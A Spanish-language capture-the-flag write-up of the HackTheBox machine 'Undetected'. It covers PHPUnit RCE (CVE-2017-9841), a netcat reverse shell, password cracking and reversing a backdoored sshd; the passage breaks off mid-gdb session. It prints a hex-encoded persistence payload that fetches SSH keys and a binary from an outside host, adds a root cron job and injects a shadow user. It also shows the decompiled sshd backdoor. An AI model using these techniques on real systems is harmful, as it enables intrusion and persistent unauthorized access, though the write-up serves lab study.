Tras descubrir una vulnerabilidad RCE en PHPUnit logramos obtener acceso a al máquina. Distintos archivos que indicaban una "intrución" y "persistencia" en la máquina nos llevaron a un segundo usuario. Finalmente tras analizar distintos ficheros de Apache obtuvimos acceso privilegiado.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.91 scan initiated Sat Feb 19 23:30:18 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.129.138.191Nmap scan report for 10.10.11.146 (10.10.11.146)Host is up (0.074s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2 (protocol 2.0)| ssh-hostkey:
|3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)|256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)|_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Diana's Jewelry
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 19 23:30:31 2022 -- 1 IP address (1 host up) scanned in 12.44 seconds
Web Site
Realizando una solicitud con curl no vemos algun tipo de redirección o dominio.
Enumerando las diferentes “dependencias” en vendor/ del subdominio encontramos phpunit, que tiene una vulnarabilidad que permite ejecutar comandos de forma remota, se muestra el CVE-2017-9841, encontramos esta vulnarbilidad en el archivo /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, simplemente enviando codigo php este lo ejecutaría.
Vemos que al enviar codigo php este se ejecuta, observamos el resultado de phpinfo() en el render de Burpsuite.
Utilizamos shells para ejecutar una shell inversa, enviando un comando que lo ejecute.
Con netcat a la escucha logramos obtener una shell como www-data.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/htb/undetected]└─$ rlwrap nc -lvp 1338listening on [any]1338 ...
connect to [10.10.14.77] from djewelry.htb [10.10.11.146]39736/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ whoami;id
www-data
uid=33(www-data)gid=33(www-data)groups=33(www-data)www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$
Steven - User
Enumerando los usuarios en /etc/passwd vemos que existen dos usuarios con un nombre similar, aunque solo existe un directorio principal.
1
2
3
4
5
www-data@production:/$ cat /etc/passwd|grep home
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash
steven1:x:1000:1000:,,,:/home/steven:/bin/bash
www-data@production:/$
En la carpeta /var/backups encontramos un ejecutable que le pertenece a www-data.
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@production:/var/backups$ ls -lah
total 736K
drwxr-xr-x 2 root root 4.0K Feb 23 06:38 .
drwxr-xr-x 13 root root 4.0K Feb 8 19:59 ..
-rw-r--r-- 1 root root 50K Feb 23 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 34K Feb 8 19:05 apt.extended_states.0
-rw-r--r-- 1 root root 268 Jun 42021 dpkg.diversions.0
-rw-r--r-- 1 root root 172 Jul 42021 dpkg.statoverride.0
-rw-r--r-- 1 root root 602K Feb 8 19:06 dpkg.status.0
-r-x------ 1 www-data www-data 27K May 142021 info
www-data@production:/var/backups$ file info
info: ELF 64-bit LSB shared object, x86-64, version 1(SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped
www-data@production:/var/backups$
Utilizamos netcat para enviar el archivo localmente, al pasarle strings sobre el archivo vemos que parece ser un “exploit” para escalar privilegios, encontramos strings similares en el PoC de CVE-2017-7308, aunque no se muestra la string en hexadecimal.
π ~/htb/undetected ❯ strings info_www
/lib64/ld-linux-x86-64.so.2
[.. snip ..]sendto
sleep
__cxa_finalize
memmem
__libc_start_main
write
libc.so.6
GLIBC_2.3.4
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
[-] setsockopt(PACKET_VERSION)[-] setsockopt(PACKET_RX_RING)[-] socket(AF_PACKET)[-] bind(AF_PACKET)[-] sendto(SOCK_RAW)[-] socket(SOCK_RAW)[-] socket(SOCK_DGRAM)[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)[-] klogctl(SYSLOG_ACTION_READ_ALL)Freeing SMP
[-] substring '%s' not found in dmesg
ffff
/bin/bash
776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b
[-] fork()/etc/shadow
[.] checking if we got root
[-] something went wrong=([+] got r00t ^_^
[-] unshare(CLONE_NEWUSER)deny
/proc/self/setgroups
[-] write_file(/proc/self/set_groups)0 %d 1/proc/self/uid_map
[-] write_file(/proc/self/uid_map)/proc/self/gid_map
[-] write_file(/proc/self/gid_map)[-] sched_setaffinity()/sbin/ifconfig lo up
[-] system(/sbin/ifconfig lo up)[.] starting
[.] namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[.]done, kernel text: %lx
[.] commit_creds: %lx
[.] prepare_kernel_cred: %lx
[.] native_write_cr4: %lx
[.] padding heap
[.]done, heap is padded
[.] SMEP & SMAP bypass enabled, turning them off
[.]done, SMEP & SMAP should be off now
[.] executing get root payload %p
[.]done, should be root now
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
[.. snip ..]
.data
.bss
.comment
π ~/htb/undetected ❯
Vemos que la string en hexadecimal descarga un archivo con claves publicas de acceso por SSH para el usuario root, crea un cronjob para ejecutar el archivo .main , agrega un hash de contraseña para el usuario con el uid mayor a 1000 en /etc/shadow bajo el nombre [usuario]1, finalmente modifica el archivo /etc/passwd para agregar nuevamente el [usuario]1. Con ello podriamos decir que el servidor fué “hackeado” y dejaron “persistencia” creando un usuario similar al existente en este caso steven1.
Utilizamos john con el wordlist rockyou.txt, para obtener en texto plano el valor del hash.
1
2
3
4
5
6
7
8
9
10
11
π ~/htb/undetected ❯ john hash --wordlist=$ROCKUsing default input encoding: UTF-8
Loaded 1 password hash(sha512crypt, crypt(3)$6$ [SHA512 256/256 AVX2 4x])Cost 1(iteration count) is 5000for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ihatehackers (?)1g 0:00:00:15 DONE (2022-02-20 01:18) 0.06281g/s 5595p/s 5595c/s 5595C/s littlebrat..halo03
Use the "--show" option to display all of the cracked passwords reliably
Session completed
π ~/htb/undetected ❯
Shell
Utilizando la contraseña con el usuario steven1 logramos obtener una shell por SSH y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
π ~/htb/undetected ❯ ssh steven1@djewelry.htb # ihatehackerssteven1@djewelry.htb's password:
Last login: Thu Feb 24 00:33:00 2022 from 10.10.14.159
steven@production:~$ id
uid=1000(steven)gid=1000(steven)groups=1000(steven)steven@production:~$ pwd/home/steven
steven@production:~$ ls
user.txt
steven@production:~$ cat user.txt
3756735a2b22b0b6d56638bb7fb381ef
steven@production:~$
Privesc
En el archivo /etc/crontab vemos que aún existe el cronjob creado por el fichero info.
Vemos que mencionan que el servicio de Apache tiene un comportamiento extraño y esta bajo investigación, mencionan que para tener acceso a la base de datos o el codigo fuente del sitio web es necesario contactar con Mark. Aunque este ultimo no existe en la maquina o algun servicio relacionado.
steven@production:~$ cat /var/mail/steven
From root@production Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1]) by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost) by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847; Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations
Hi Steven.
We recently updated the system but are still experiencing some strange behaviour with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.
Thanks,
sysadmin
steven@production:~$
Modulo Apache
Tras enumerar archivos de apache encontramos que el modulo reader.load tiene una fecha distinta a la de los demás modulos. En dicho modulo se muestra la librería mod_reader.so, ambos archivos tienen la misma fecha de creación.
Tanto el “exploit” (/var/backups/info) y la librería (mod_reader.so) parecieran ser algun tipo de persistencia dentro de la maquina, finalmente tenemos el archivo sshd que posiblemente sea un archivo modificado. Utilizamos netcat para obtener localmente este fichero, y utilizando Ghidra realizamos una analisis.
Descubrimos en la función auth_password() una variable tipo char declarada, llamada backdoor que tiene como longitud 32 caracteres, observamos que realiza xor a este dentro de un while, finalmente compara la contraseña con el backdoor utilizando strcmp.
/* WARNING: Could not reconcile some variable overlaps */intauth_password(ssh*ssh,char*password){Authctxt*ctxt;passwd*ppVar1;intiVar2;uintuVar3;byte*pbVar4;byte*pbVar5;size_tsVar6;bytebVar7;intiVar8;longin_FS_OFFSET;charbackdoor[31];bytelocal_39[9];longlocal_30;bVar7=0xd6;ctxt=(Authctxt*)ssh->authctxt;local_30=*(long*)(in_FS_OFFSET+0x28);backdoor._28_2_=0xa9f4;ppVar1=ctxt->pw;iVar8=ctxt->valid;backdoor._24_4_=0xbcf0b5e3;backdoor._16_8_=0xb2d6f4a0fda0b3d6;backdoor[30]=-0x5b;backdoor._0_4_=0xf0e7abd6;backdoor._4_4_=0xa4b3a3f3;backdoor._8_4_=0xf7bbfdc8;backdoor._12_4_=0xfdb3d6e7;pbVar4=(byte*)backdoor;while(true){pbVar5=pbVar4+1;*pbVar4=bVar7^0x96;if(pbVar5==local_39)break;bVar7=*pbVar5;pbVar4=pbVar5;}iVar2=strcmp(password,backdoor);uVar3=1;if(iVar2!=0){sVar6=strlen(password);uVar3=0;if(sVar6<0x401){if((ppVar1->pw_uid==0)&&(options.permit_root_login!=3)){iVar8=0;}if((*password!='\0')||(uVar3=options.permit_empty_passwd,options.permit_empty_passwd!=0)){if(auth_password::expire_checked==0){auth_password::expire_checked=1;iVar2=auth_shadow_pwexpired(ctxt);if(iVar2!=0){ctxt->force_pwchange=1;}}iVar2=sys_auth_passwd(ssh,password);if(ctxt->force_pwchange!=0){auth_restrict_session(ssh);}uVar3=(uint)(iVar2!=0&&iVar8!=0);}}}if(local_30==*(long*)(in_FS_OFFSET+0x28)){returnuVar3;}/* WARNING: Subroutine does not return */__stack_chk_fail();}
GDB
Ya que la función esta realizando una comparación de dos strings podríamos obtener el valorr de la variable backdoor. Utilizamos gdb para colocar un breackpoint en auth_password para obtener el valor cuando strcmp(password,backdoor).
Vemos el breakpoint definido, y ejecutamos el programa (sudo gdb -ex=r --args ./sshd -p 2222 -d).
1
2
3
4
5
6
(gdb) b auth_password
Breakpoint 1 at 0x555555564650: file auth-passwd.c, line 78.
(gdb) info breakNum Type Disp Enb Address What
1 breakpoint keep y 0x0000555555564650 in auth_password at auth-passwd.c:78
(gdb) r
Ejecutamos el binario con las flags -d -p 2222, localmente nos autenticamos por SSH: ssh user@localhost -p 2222, vemos que el programa se detiene y muestra el breakpoint. Si vemos las variables locales, observamos backdoor .
1
2
3
4
5
6
7
8
9
10
11
12
13
[.. snip ..]Breakpoint 1, auth_password (ssh=ssh@entry=0x555555639b00, password=0x55555562c240 "P@ssword123") at auth-passwd.c:78
78 auth-passwd.c: No such file or directory.
(gdb) info locals
authctxt= <optimized out>
pw= <optimized out>
result= <optimized out>
ok= <optimized out>
expire_checked=0i= <optimized out>
backdoor="\000\000\000\000\000\000\000\000\230\060YUUU\000\000\000\000\000\000\000\000\000\000\b\000\000\000\000\000"(gdb)
Realizando varios “pasos” vemos que la variable backdoor va tomando valor.